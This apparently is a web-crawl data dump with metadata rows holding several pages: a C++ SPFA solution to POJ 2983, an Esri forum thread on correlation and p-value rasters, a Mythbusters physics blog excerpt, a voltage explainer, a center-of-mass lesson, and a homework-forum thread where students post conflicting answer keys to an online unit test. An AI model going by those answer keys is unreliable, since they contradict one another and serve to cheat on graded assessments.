url stringlengths 6 1.61k | fetch_time int64 1,368,856,904B 1,726,893,854B | content_mime_type stringclasses 3 values | warc_filename stringlengths 108 138 | warc_record_offset int32 9.6k 1.74B | warc_record_length int32 664 793k | text stringlengths 45 1.04M | token_count int32 22 711k | char_count int32 45 1.04M | metadata stringlengths 439 443 | score float64 2.52 5.09 | int_score int64 3 5 | crawl stringclasses 93 values | snapshot_type stringclasses 2 values | language stringclasses 1 value | language_score float64 0.06 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
https://www.xuebuyuan.com/3259606.html | 1,582,459,795,000,000,000 | text/html | crawl-data/CC-MAIN-2020-10/segments/1581875145767.72/warc/CC-MAIN-20200223093317-20200223123317-00175.warc.gz | 968,486,817 | 11,510 | ## poj 2983 差分约束+SPFA
2019年02月28日 算法 ⁄ 共 2938字 ⁄ 字号 评论关闭
Is the Information Reliable?
Time Limit: 3000MS Memory Limit: 131072K Total Submissions: 9890 Accepted: 3067
Description
The galaxy war between the Empire Draco and the Commonwealth of Zibu broke out 3 years ago. Draco established a line of defense called Grot. Grot is a straight line with N defense stations. Because of the cooperation of the stations, Zibu’s Marine
Glory cannot march any further but stay outside the line.
A mystery Information Group X benefits form selling information to both sides of the war. Today you the administrator of Zibu’s Intelligence Department got a piece of information about Grot’s defense stations’ arrangement from Information Group X. Your task
is to determine whether the information is reliable.
The information consists of M tips. Each tip is either precise or vague.
Precise tip is in the form of `P A B X`, means defense station A is X light-years north of defense station B.
Vague tip is in the form of `V A B`, means defense station A is in the north of defense station B, at least 1 light-year, but the precise distance is unknown.
Input
There are several test cases in the input. Each test case starts with two integers N (0 < N ≤ 1000) and M (1 ≤ M ≤ 100000).The next M line each describe a tip, either in precise form or vague form.
Output
Output one line for each test case in the input. Output “Reliable” if It is possible to arrange N defense stations satisfying all the M tips, otherwise output “Unreliable”.
Sample Input
```3 4
P 1 2 1
P 2 3 1
V 1 3
P 1 3 1
5 5
V 1 2
V 2 3
V 3 4
V 4 5
V 3 5```
Sample Output
```Unreliable
Reliable```
Source
```#include<iostream>
#include<cstdio>
#include<queue>
#include<cstring>
using namespace std;
struct node
{
int a,b,c;
int next;
}e[202005];
int fst[1005];
bool v[1005];
int m,n,a,b,c,num;
int cnt[1005];
char p[5];
int dist[1005];
bool spfa()//spfa判断是否有解
{
for(int i=0;i<=n;i++)dist[i]=1;//比0点到它的边的长度大即可
dist[0]=0;
queue<int>q;
q.push(0);
cnt[0]++;
v[0]=1;
while(!q.empty())
{
a=q.front();
q.pop();
for(int i=fst[a];i!=-1;i=e[i].next)
{
b=e[i].b;
c=e[i].c;
if(dist[b]>dist[a]+c)
{
dist[b]=dist[a]+c;
if(!v[b])
{
q.push(b);
v[b]=1;
cnt[b]++;
if(cnt[b]>n)return false;//说明有负环路，无解退出
}
}
}
v[a]=0;
}
return true;
}
int main()
{
int ans;
while(scanf("%d%d",&n,&m)!=EOF)
{
num=0;
ans=0;
memset(fst,-1,sizeof(fst));
memset(cnt,0,sizeof(cnt));
memset(v,0,sizeof(v));
for(int i=0;i<m;i++)
{
scanf("%s",&p);
if(p[0]=='P')
{
scanf("%d%d%d",&a,&b,&c);
if(a==b&&c)ans=1;//自己连自己的点特殊处理
e[num].next=fst[a];//等式变为俩不等式，即建立双向边，这里邻接表存储
fst[a]=num;
e[num].a=a;
e[num].b=b;
e[num++].c=-c;
e[num].next=fst[b];
fst[b]=num;
e[num].a=b;
e[num].b=a;
e[num++].c=c;
}
else
{
scanf("%d%d",&a,&b);
if(a==b)ans=1;//自己连自己的特殊处理
e[num].next=fst[a];//不等式只建立单向边
fst[a]=num;
e[num].a=a;
e[num].b=b;
e[num++].c=-1;
}
}
for(int i=1;i<=n;i++)
{
e[num].next=fst[0];
fst[0]=num;
e[num].a=0;
e[num].b=i;
e[num++].c=0;
}
if(ans)cout<<"Unreliable"<<endl;
else if(spfa())cout<<"Reliable"<<endl;
else cout<<"Unreliable"<<endl;
}
return 0;
}
```
【上篇】
【下篇】 | 1,090 | 3,079 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.84375 | 3 | CC-MAIN-2020-10 | latest | en | 0.618673 |
https://community.esri.com/t5/python-questions/calculate-correlation-and-pearson-between-two-sets/td-p/245217 | 1,702,111,068,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100873.6/warc/CC-MAIN-20231209071722-20231209101722-00445.warc.gz | 208,847,649 | 59,935 | # Calculate Correlation and Pearson between two sets of rasters
19173
11
08-21-2017 11:33 AM
Occasional Contributor III
Hi Xander Bakker, Some modification I want to do in correlation script.
I Would like to calculate the P value as a raster in addition to correlation raster.
Using scipy library, I just ran one script to obtain the correlation and P value. Script is attached below
``````import numpy as np
from scipy.stats import pearsonr
x = np.array([ 58295.62187335, 45420.95483714, 3398.64920064, 977.22166306, 5515.32801851, 14184.57621022, 16027.2803392 , 15313.01865824, 6443.2448182 ])
y = np.array([ 143547.79123381, 22996.69597427, 2591.56411049, 661.93115277, 8826.96549102, 17735.13549851, 11629.13003263, 14438.33177173, 6997.89334741])
r,p = pearsonr(x,y)
print "r", r
print "p", p
``````
Output
Returns: r : 0.831087956392Pearson’s correlation coefficientp-value : 0.005505396210392-tailed p-value
So instead of Numpy, can we use here Numpy and Scipy both library to get the addition p value or in the existing script can we add this function to obtain the p Value as a raster
Thanks & regards
Shouvik Jha
Tags (7)
1 Solution
Accepted Solutions
Esri Esteemed Contributor
Hi shouvik jha , I branched this question to give it more visibility and to avoid letting the post grow too much and contain multiple questions.
Basically, what I would do is define a second numpy that will hold the pearson value. This is what it would look like:
• line 11 defined the pearson output raster path and name
• line 35 creates the pearson numpy array
• line 57 and 58 will call the pearson function and store the result in the numpy array
• line 76 to 80 will store the output pearson raster
• line 103 to 112 contains the function that calculated the pearson value
``````def main():
import arcpy
arcpy.env.overwriteOutput = True
import numpy as np
template1 = r'C:\GeoNet\Correlation\Parameter1\r{0}_NPP.TIF'
template2 = r'C:\GeoNet\Correlation\Parameter2\r{0}_WUE.TIF'
nodata = -3.4028235e+38
out_ras_corr = r'C:\GeoNet\Correlation\Pearson\correlation.TIF'
out_ras_pear = r'C:\GeoNet\Correlation\Pearson\pearson.TIF'
print "create nested numpy array list..."
lst_np_ras = []
for i in range(1, 14):
ras_path1 = template1.format("%03d" % (i,))
print " - ", ras_path1
ras_np1 = arcpy.RasterToNumPyArray(ras_path1)
ras_path2 = template2.format("%03d" % (i,))
print " - ", ras_path2
ras_np2 = arcpy.RasterToNumPyArray(ras_path2)
lst_np_ras.append([ras_np1, ras_np2])
ras_np = lst_np_ras[0][0] # take first numpy array from list
rows = ras_np.shape[0]
cols = ras_np.shape[1]
print " - rows:", rows
print " - cols:", cols
print "create output numpy array..."
ras_path = template1.format("%03d" % (1,))
raster = arcpy.Raster(ras_path)
ras_np_res_corr = np.ndarray((rows, cols))
ras_np_res_pear = np.ndarray((rows, cols))
print " - out rows:", ras_np_res_corr.shape[0]
print " - out cols:", ras_np_res_corr.shape[1]
print "loop through pixels..."
pix_cnt = 0
for row in range(rows):
for col in range(cols):
pix_cnt += 1
if pix_cnt % 5000 == 0:
print " - row:", row, " col:", col, " pixel:", pix_cnt
lst_vals1 = []
lst_vals2 = []
try:
for lst_pars in lst_np_ras:
lst_vals1.append(lst_pars[0][row, col])
lst_vals2.append(lst_pars[1][row, col])
lst_vals1 = ReplaceNoData(lst_vals1, nodata)
lst_vals2 = ReplaceNoData(lst_vals2, nodata)
# perform calculation on list
correlation = CalculateCorrelation(lst_vals1, lst_vals2, nodata)
ras_np_res_corr[row, col] = correlation
pearson = CalculatePearsons(lst_vals1, lst_vals2, nodata)
ras_np_res_pear[row, col] = pearson
except Exception as e:
print "ERR:", e
print " - row:", row, " col:", col, " pixel:", pix_cnt
print " - lst_vals1:", lst_vals1
print " - lst_vals2:", lst_vals2
pnt = arcpy.Point(raster.extent.XMin, raster.extent.YMin) # - raster.meanCellHeight
xcellsize = raster.meanCellWidth
ycellsize = raster.meanCellHeight
print "Write output rasters..."
print " - ", out_ras_corr
ras_res_corr = arcpy.NumPyArrayToRaster(ras_np_res_corr, lower_left_corner=pnt, x_cell_size=xcellsize,
y_cell_size=ycellsize, value_to_nodata=nodata)
ras_res_corr.save(out_ras_corr)
arcpy.DefineProjection_management(in_dataset=out_ras_corr, coor_system="GEOGCS['GCS_WGS_1984',DATUM['D_WGS_1984',SPHEROID['WGS_1984',6378137.0,298.257223563]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]]")
print " - ", out_ras_pear
ras_res_pear = arcpy.NumPyArrayToRaster(ras_np_res_pear, lower_left_corner=pnt, x_cell_size=xcellsize,
y_cell_size=ycellsize, value_to_nodata=nodata)
ras_res_pear.save(out_ras_pear)
arcpy.DefineProjection_management(in_dataset=out_ras_pear, coor_system="GEOGCS['GCS_WGS_1984',DATUM['D_WGS_1984',SPHEROID['WGS_1984',6378137.0,298.257223563]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]]")
def CalculateCorrelation(a, b, nodata):
import numpy
try:
coef = numpy.corrcoef(a,b)
return coef[0][1]
except:
return nodata
def ReplaceNoData(lst, nodata):
res = []
for a in lst:
if a < nodata / 2.0:
res.append(None)
else:
res.append(a)
return res
def CalculatePearsons(a, b, nodata):
import numpy
from scipy.stats import pearsonr
try:
x = np.array(a)
y = np.array(b)
r, p = pearsonr(a, y)
return p
except:
return nodata
if __name__ == '__main__':
main()``````
At this moment I am getting a "RuntimeError: ERROR 999998: Unexpected Error" on line 73 when saving the output correlation raster. I will look into that and see what the problem is. You could try and run the code to see if it works on your system.
11 Replies
Esri Esteemed Contributor
Hi shouvik jha , just like the original code has the function CalculateCorrelation:
``````def CalculateCorrelation(a, b, nodata):
import numpy
try:
coef = numpy.corrcoef(a,b)
return coef[0][1]
except:
return nodata``````
... you could implement one that calculates p:
``````def CalculatePearsons(a, b, nodata):
import numpy
from scipy.stats import pearsonr
try:
x = np.array(a)
y = np.array(b)
r, p = pearsonr(a, y)
return p
except:
return nodata``````
Include the function and on line 62 change:
``correlation = CalculateCorrelation(lst_vals1, lst_vals2, nodata)``
by (although the "correlation" will be the p value) :
``correlation = CalculatePearsons(lst_vals1, lst_vals2, nodata)``
I did not try the code though.
Occasional Contributor III
Hi Xander Bakker, Thank you for the suggestion.
I trying to modify the code as you suggested but i don't understand, where I have to call the p Value raster.
From our earlier script, We got the output only Correlation raster, but this time I want Correlation raster as well as P value raster.
Snap from our earlier script on Input and output:
``````import numpy as np
template1 = r'D:\Correlation\Parameter1\r{0}_NPP.TIF'
template2 = r'D:\Correlation\Parameter2\r{0}_WUE.TIF'
nodata = -3.4028235e+38
out_ras_Corr = r'D:\Correlation\correlation.TIF' # Already exist in our script
out_ras_p = r'D:\Correlation\Significance.TIF' # this one i want to add
``````
Occasional Contributor III
Hi Xander Bakker, I am facing same problem here also.
Thanks & regards
Shouvik Jha
Esri Esteemed Contributor
Hi shouvik jha , I branched this question to give it more visibility and to avoid letting the post grow too much and contain multiple questions.
Basically, what I would do is define a second numpy that will hold the pearson value. This is what it would look like:
• line 11 defined the pearson output raster path and name
• line 35 creates the pearson numpy array
• line 57 and 58 will call the pearson function and store the result in the numpy array
• line 76 to 80 will store the output pearson raster
• line 103 to 112 contains the function that calculated the pearson value
``````def main():
import arcpy
arcpy.env.overwriteOutput = True
import numpy as np
template1 = r'C:\GeoNet\Correlation\Parameter1\r{0}_NPP.TIF'
template2 = r'C:\GeoNet\Correlation\Parameter2\r{0}_WUE.TIF'
nodata = -3.4028235e+38
out_ras_corr = r'C:\GeoNet\Correlation\Pearson\correlation.TIF'
out_ras_pear = r'C:\GeoNet\Correlation\Pearson\pearson.TIF'
print "create nested numpy array list..."
lst_np_ras = []
for i in range(1, 14):
ras_path1 = template1.format("%03d" % (i,))
print " - ", ras_path1
ras_np1 = arcpy.RasterToNumPyArray(ras_path1)
ras_path2 = template2.format("%03d" % (i,))
print " - ", ras_path2
ras_np2 = arcpy.RasterToNumPyArray(ras_path2)
lst_np_ras.append([ras_np1, ras_np2])
ras_np = lst_np_ras[0][0] # take first numpy array from list
rows = ras_np.shape[0]
cols = ras_np.shape[1]
print " - rows:", rows
print " - cols:", cols
print "create output numpy array..."
ras_path = template1.format("%03d" % (1,))
raster = arcpy.Raster(ras_path)
ras_np_res_corr = np.ndarray((rows, cols))
ras_np_res_pear = np.ndarray((rows, cols))
print " - out rows:", ras_np_res_corr.shape[0]
print " - out cols:", ras_np_res_corr.shape[1]
print "loop through pixels..."
pix_cnt = 0
for row in range(rows):
for col in range(cols):
pix_cnt += 1
if pix_cnt % 5000 == 0:
print " - row:", row, " col:", col, " pixel:", pix_cnt
lst_vals1 = []
lst_vals2 = []
try:
for lst_pars in lst_np_ras:
lst_vals1.append(lst_pars[0][row, col])
lst_vals2.append(lst_pars[1][row, col])
lst_vals1 = ReplaceNoData(lst_vals1, nodata)
lst_vals2 = ReplaceNoData(lst_vals2, nodata)
# perform calculation on list
correlation = CalculateCorrelation(lst_vals1, lst_vals2, nodata)
ras_np_res_corr[row, col] = correlation
pearson = CalculatePearsons(lst_vals1, lst_vals2, nodata)
ras_np_res_pear[row, col] = pearson
except Exception as e:
print "ERR:", e
print " - row:", row, " col:", col, " pixel:", pix_cnt
print " - lst_vals1:", lst_vals1
print " - lst_vals2:", lst_vals2
pnt = arcpy.Point(raster.extent.XMin, raster.extent.YMin) # - raster.meanCellHeight
xcellsize = raster.meanCellWidth
ycellsize = raster.meanCellHeight
print "Write output rasters..."
print " - ", out_ras_corr
ras_res_corr = arcpy.NumPyArrayToRaster(ras_np_res_corr, lower_left_corner=pnt, x_cell_size=xcellsize,
y_cell_size=ycellsize, value_to_nodata=nodata)
ras_res_corr.save(out_ras_corr)
arcpy.DefineProjection_management(in_dataset=out_ras_corr, coor_system="GEOGCS['GCS_WGS_1984',DATUM['D_WGS_1984',SPHEROID['WGS_1984',6378137.0,298.257223563]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]]")
print " - ", out_ras_pear
ras_res_pear = arcpy.NumPyArrayToRaster(ras_np_res_pear, lower_left_corner=pnt, x_cell_size=xcellsize,
y_cell_size=ycellsize, value_to_nodata=nodata)
ras_res_pear.save(out_ras_pear)
arcpy.DefineProjection_management(in_dataset=out_ras_pear, coor_system="GEOGCS['GCS_WGS_1984',DATUM['D_WGS_1984',SPHEROID['WGS_1984',6378137.0,298.257223563]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]]")
def CalculateCorrelation(a, b, nodata):
import numpy
try:
coef = numpy.corrcoef(a,b)
return coef[0][1]
except:
return nodata
def ReplaceNoData(lst, nodata):
res = []
for a in lst:
if a < nodata / 2.0:
res.append(None)
else:
res.append(a)
return res
def CalculatePearsons(a, b, nodata):
import numpy
from scipy.stats import pearsonr
try:
x = np.array(a)
y = np.array(b)
r, p = pearsonr(a, y)
return p
except:
return nodata
if __name__ == '__main__':
main()``````
At this moment I am getting a "RuntimeError: ERROR 999998: Unexpected Error" on line 73 when saving the output correlation raster. I will look into that and see what the problem is. You could try and run the code to see if it works on your system.
Occasional Contributor III
Hi Xander Bakker Thank you very much for such wonderful script.
However I am running the script on my system and will inform you shortly.
Esri Esteemed Contributor
Í just noted an error: line 104 should be:
``import numpy as np``
Esri Esteemed Contributor
I also changed lines 73 and 79 into :
`` arcpy.CopyRaster_management(ras_res_corr, out_ras_corr)``
and
`` arcpy.CopyRaster_management(ras_res_pear, out_ras_pear)``
On a small subset it worked without problems. I did not check the resulting Pearson value though...
Occasional Contributor III
Hi xander_bakker, Thank you very much for your such great cooperation. We are really very thankful for such wonderful and useful script from you.
The updated script is running perfectly and produced the exact result.
Thanks & regards
Shouvik Jha
Esri Esteemed Contributor
Glad to hear that the code worked. Could you mark the question answered?
Kind regards, Xander | 4,052 | 12,693 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.3125 | 3 | CC-MAIN-2023-50 | latest | en | 0.600347 |
http://betterlesson.com/lesson/resource/2866396/group-c-example-2 | 1,488,179,579,000,000,000 | text/html | crawl-data/CC-MAIN-2017-09/segments/1487501172649.58/warc/CC-MAIN-20170219104612-00021-ip-10-171-10-108.ec2.internal.warc.gz | 28,934,515 | 21,384 | ## Group C Example 2 - Section 4: Independent Practice
Group C Example 2
# Tens and Ones, Dimes and Pennies
Unit 14: Time is Money: Hitting all the MD Standards
Lesson 10 of 14
## Big Idea: Students use their understanding of base 10 to make coin counting a breeze!
Print Lesson
10 teachers like this lesson
Standards:
Subject(s):
55 minutes
### Amanda Cole
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https://www.ellipsix.net/blog/tagged/radiation.html | 1,722,872,147,000,000,000 | text/html | crawl-data/CC-MAIN-2024-33/segments/1722640451031.21/warc/CC-MAIN-20240805144950-20240805174950-00857.warc.gz | 594,264,533 | 4,814 | 1. 2010
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## Exploding a microwave oven with C-4
Exploding grease, exploding microwave ovens, exploding cheese — it’s a Mythbusters fan’s dream episode :-) Of course, where there are explosions, there’s physics, and the latest episode of Mythbusters is no exception.
Here’s one: you can’t blow up C-4 by microwaving it. Kari explained in the show that this is because C-4 is a plastic explosive, and microwaves are designed to pass through plastics (as well as metal and glass). So how exactly does that work?
Microwaves heat food by a process called dielectric heating, which generally refers to the ability of many materials to absorb energy from electromagnetic radiation passing through them. Physically, an electromagnetic wave consists of rapidly oscillating electric and magnetic fields. These fields (well, primarily the electric field) exert forces on the charged particles that make up all matter — since the fields are oscillating, so do the forces. Essentially, an electromagnetic wave makes atoms and molecules rapidly jiggle back and forth, and as they do so, they bump into other nearby atoms and molecules, transferring kinetic energy to them and raising their temperature. Of course, if the atoms and molecules are gaining energy, that energy must be coming from somewhere, and the electromagnetic … | 538 | 2,452 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.828125 | 3 | CC-MAIN-2024-33 | latest | en | 0.937159 |
https://socratic.org/questions/how-does-voltage-affect-a-magnetic-field | 1,518,975,691,000,000,000 | text/html | crawl-data/CC-MAIN-2018-09/segments/1518891812247.50/warc/CC-MAIN-20180218173208-20180218193208-00226.warc.gz | 766,740,832 | 86,900 | How does voltage affect a magnetic field?
Then teach the underlying concepts
Don't copy without citing sources
preview
?
Explanation
Explain in detail...
Explanation:
I want someone to double check my answer
36
Jul 3, 2014
A magnetic field is a phenomenon that can occur in one of two ways: it is induced by a current carrying wire, or it is generated naturally by the charge arrangement in a ferrous material. That said, voltage is not exactly directly related to a magnetic field. However, because current is a result of a voltage in a circuit, fluctuations in applied voltages could potentially cause simultaneous changes in the strength of a magnetic field surrounding a wire. For many materials, voltage and current are related by Ohm's law which states:
$V = I R$
where $V$ represents the voltage [volts], $I$ is the current [amps], and $R$ is the resistance in the circuit [Ohms].
For a long, straight wire, Ampere's law (in its simplest form) states:
$B = \setminus \frac{{\mu}_{0} I}{2 \pi r}$
where ${\mu}_{0}$ is the magnetic constant, $I$ is the current in the wire, and $r$ is the distance between the wire and the point in question.
From this, it can be see that if resistance remains constant in the circuit, when voltage increases, current must also increase. Since the strength of the magnetic field is directly related to the current in the wire, the magnitude of the magnetic field would increase with an increase in voltage in the circuit.
In terms of electromagnetic induction, the EMF or voltage generated by a generator is proportional to the time rate of change of the magnetic flux through the current loop experiencing the EMF. This relationship is called Faraday's law:
$\setminus \varepsilon = - N \setminus \frac{d \setminus {\Phi}_{B}}{\mathrm{dt}}$
where $\setminus \varepsilon$ is the emf (generally measured in volts), $N$ is the number of turns in the coil, and $\setminus {\Phi}_{B}$ is the magnetic flux passing through the loop.
In terms of dimensional analysis, from this you can see that a volt is a weber per second, or a tesla meter squared per second.
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https://www.jiskha.com/questions/1808906/i-need-help-with-lesson-11-ratios-rates-and-proportions-unit-test-unit-6 | 1,632,769,266,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780058467.95/warc/CC-MAIN-20210927181724-20210927211724-00680.warc.gz | 863,766,509 | 15,643 | # math
I need help with lesson 11: Ratios, rates and proportions unit test/ unit 6
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1. so post a couple of questions that you have trouble with.
If you really have no idea, study the unit again.
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👤
oobleck
2. i need help too!
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3. Same
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4. Here they are ;)
1. B
2. A
3. B
4. D
5. C
6. A
7. A
8. A
9. A
10. C
11. A
12. D
13. C
14. A
15. B
16. B
17. C
18. A
19. A
20. C
21. C
22. C
23. B
24. B
You're Welcome! ;)
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5. ARE THEY RIGHT plz tell me MY LIFE IS ON THE LINE (ok not true)
THEN MY GRADES ARE ON THE LINE!!!
thx
~KittyDawg101
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6. Is he right
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7. idk is he
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8. 😂
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9. @jake peralta HE IS WRONG I ONLY GOT 9 RIGHT!!
1.a
2.b
3.d
4.a
5.d
6.b
7.a
8.c
9.a
10.d
11.a
12.a
13.a
14.d
15.d
And u can do the rest on your own.
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10. help is wrong and the other guy too
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11. brats
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12. h e l p
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14. helpppp
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15. For the connexus kids
1.C
2.A
3.B
4.B
5.C
6.C
7.A
8.C
9.C
10.A
11.B and D
12.A
13.B
14.C
15.C
16.C
17.B
18.C
19.B
20.B
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1.C
2.A
3.C
4.A
5.B
6.A
7.A
8.C
9.C
10.A
11. B & C
12.A
13.C
14.B
15.C
16.B
17.A
18.B
19.B
20.C
You're welcome :) I promise on my mums life that im telling the truth.
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17. its
a
b
d
c
a
a
d
a
d
b
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18. there some question that you need to type
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19. Can someone help me with lesson 11 unit 5 For Connexus Academy math 6 A
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20. Ya'll need to stop cheating
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21. don't be a snitch addison
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22. 1. 17 to 12,17:12,17/12
2.4 to 9, 4:9, 4/9
3.1/5, 2/10/ 3/15
4.5/12
5.35.33 km/h
6.65 people per square mile
7. \$17.28
Do the rest your self now.
Have a good day!
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23. Oh and those are for theRatios, Rates, and Proportions Unit Test Part 1
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24. U heve Lead Mi in le rong durection you evul baken heds
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25. WE ALL HAVE DIFFERENT TESTS!!!
If you're in 7th grade, you're doomed like me.
I've been using this site since last year.
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(also, you could just use a calculator :D)
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27. imma take the test then give yall the right answers :]
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28. What are they
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29. Ayva hi im takiing the test to!! wanna help one another
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30. I took the test and the answers are 100% correct cause I don waste my time to see other kids fail
1) 17 to 12,17:12,17/12
2) 1 to 9 ,1:9 ,1/9
3) 1/9 ,2/18 ,3/27
4) 3/4
5) 60.86
6) 65 people per square mile
7) 17.28
8) the bagels at store B are \$0.04 more expensive than the bagels in store A.
9) 14.11 for 9 boxes of tissues
10) 6/7
11) 70/20
12) I didn't write the numbers for this one but the answer is C.
13) 5/45 , 4/36
14) 2.0 fluid ounces
15) 48 parts
16) 416 people
17) 35
18) 9.30
19) no, because the corresponding angels are not congruent and the corresponding sides are not proportional
20) 7.2
21) 4.8 cm
22) 41.925 m
23) 15.4 in
24) 1cm = 10.5 km
100% correct I took the test and yall's answers are wrong and make kids fail so here you go
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31. your welcome !!!! and no they are not wrong I flunked my test to get these answers and i put them on here for yall maybe yall will do the same
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32. She is 10000000000000000000000000000000000000%%%%%%%%%% correct!!!!!!!!!!!!!!thank you for flunking you test to post the answers
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33. thank yall for real! mainly lizzie for being honest but
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34. thanks btw!!!!!!!!!!!!!! I go to connections and i know it can be hard so........i wanted to help if yall want add me on snapchat and we can chat
panda_boonohomo
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35. Don’t listen to lizzie_boo I got a (62.5%) and now about to fail math
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37. Does anyone know the right answers
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38. Is this 6th
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39. yea it is ms. sue
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40. yall, just like lizze, im doing the test and posting the answers, BUT, dont dislike the commet if they aare not the same qeustions, this is only the answers to unit 6 lesson 11 semester 1 michigan conections academy, i see so many people struggleing here, and i want to help you to not fail. youll see the answers shortly
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41. okay..that didnt quite work...
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42. Anyone know lesson 12 unit 6 test? im on a time limit rn
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43. This Is 7th grade unit7 lesson 11 Ratios and proportions unit test
D
B
D
C
D
A
A
A
C
D
D
A
A
D
D
C
B
A
A
B
C
D
D
B
Make sure u get some wrong so ur not suspicious
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44. HAHAHAHAHA u just got me a 29 MRHALP, BTW i was doing
Lesson 11: Ratios, Rates, and Proportions Unit Test CE 2015
Math 7 A Unit 6: Ratios, Rates, and Proportions
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45. hey domedbtoby we both here in 2021 haha
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46. @domedbytoby**
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47. Look My test is today and its Lesson 12: Ratios, Rates, and Proportions Unit Test part 1 unit 1.
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48. I am confused?
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49. @ella brown mine to can you help me with answers
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50. just try your best if u dont understand just tell me and i will talk you through it
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51. ahhhh im gonna fail
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52. who right
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53. Yep failed and also failing the class now
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54. they are 1/ 14.3
2/ 4.5
3/ 904
4/ 2.65
5/ 7 pounds
6/ 6/27 and 2/9
7/ w=10
8/ 54 cm
9/ 190
10/ y =2.25
11/ 85/100 and 0.85
12/ 0.30 ,26percent1/5 0.9
13/ 80
14/ 40 inches
15/ 73.5
16/ 25
17/ 1/3
18/ 17.83
19/ 38.50
20/ 30.00
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55. ok I need help with a different test
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56. isnt there only 21 questions
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57. The answers are randomised so its harder to cheat. It's really shuffled.
Example:
2+2=?
Someone might have 4 (The correct choice) as option D while another might have it as C. This is a effective method of cheating prevention as demonstrated with the above answers.
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58. Do you guys have the correct answers? IDK what to do
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59. .;lj ln
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60. .
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61. guys thank you so much my maffs grade went from a f to an a
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63. Guys pls help I have the test integers unit 1 test part 1
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Connexus test data and graphs unit test part 1 PLZ HELP my moms cryin and I really wannna make her happy. Lesson 11 unit test part 1 | 3,157 | 8,059 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.375 | 3 | CC-MAIN-2021-39 | latest | en | 0.527879 |
http://sciphile.org/lessons/balancing-forks-study-center-mass | 1,566,404,299,000,000,000 | text/html | crawl-data/CC-MAIN-2019-35/segments/1566027316075.15/warc/CC-MAIN-20190821152344-20190821174344-00157.warc.gz | 170,009,992 | 11,968 | ## Balancing Forks - A Study in Center of Mass
posted on 7 Apr 2014 by guy
last changed 12 Jun 2014
3.666665 Average: 3.7 (3 votes) Select ratinghated itdidn't like itliked itreally liked itloved itCancel rating Your vote (click to rate)ages: 7 to 99 yrs budget: $0.00 to$1.00prep time: 0 to 5 min class time: 10 to 20 min Two forks and a pair of toothpicks are all you need to perform an amazing balancing act (figure 7). Use this demonstration to teach students the fundamentals about "center of mass". A basic tutorial on center of mass concepts is included. Lecture slides are attached.
required equipment: toothpick, fork (2)
optional equipment: drinking glass
subjects: Engineering, Physics
## BalancingForks.pdf
Fig. 1: Massachusetts hanging from the northeast corner of the state. The vertical dashed line must pass through the center of mass.
Fig. 2: Massachusetts hanging from Boston (the red dot). The blue dot indicates the center of Mass.
Fig. 3: Two plastic forks with their tines wedged together. The center of mass of the forks is located at the red dot.
Fig. 4: Forks balanced on a finger tip, with the aid of a toothpick. Note how the toothpick is threaded through the upper slot of each fork.
Fig. 5: Forks balanced on the rim of a glass.
Fig. 6: Overhead view after the end of the toothpick has burned off.
Fig. 7: Forks balanced above a salt shaker.
## center of mass
Take a book and try to balance it on the eraser end of a pencil. When you get it to balance, you'll notice that the eraser is just below the center of the book. This center is known as the "center of mass" (COM), or sometimes "center of gravity" (COG). The center of mass of an object is a balance point. Support the object directly under the center of mass and it will balance, no matter which direction you orient the object.
## COM of irregular objects
Finding the center of mass of a symmetric object like a book is fairly easy; it's midway between the edges as you'd expect. Finding the center of mass of an irregularly shaped object is a little harder, but there is a surefire technique that will lead you to it.
Take an irregularly-shaped object, like Massachusetts say, and hang it from the northeast corner of the state (figure 1). Half the weight of Massachusetts lies to the left of the vertical dashed blue line and half lies to the right of the line. (Otherwise, the state would tilt to a new position.) The center of mass must therefore be somewhere along this line.
Now hang the state from Boston (red dot in figure 2). Once again, half the weight of the state lies to the left of the red line and half to the right. The center of mass must be at the intersection of the red and blue lines (blue dot in figure 2). No matter how you hang the state, the vertical line down from the hook will always pass through the blue dot. This location is the center of Mass., just south of Worcester. In contrast, the Boston is the center of the universe, but only according to Bostonians. You can now balance the state of Massachusetts on a pencil by putting the point directly underneath Worcester.
## balancing forks
The center of mass of an object doesn't necessarily have to be inside the object. Take two forks and wedge the tines together as in figure 3. The center of mass of the forks is located in between the two forks, at the red dot in figure 3. Since there is nothing at that location, it would be hard to balance the forks right at that point. There's nothing there for the support to hold up.
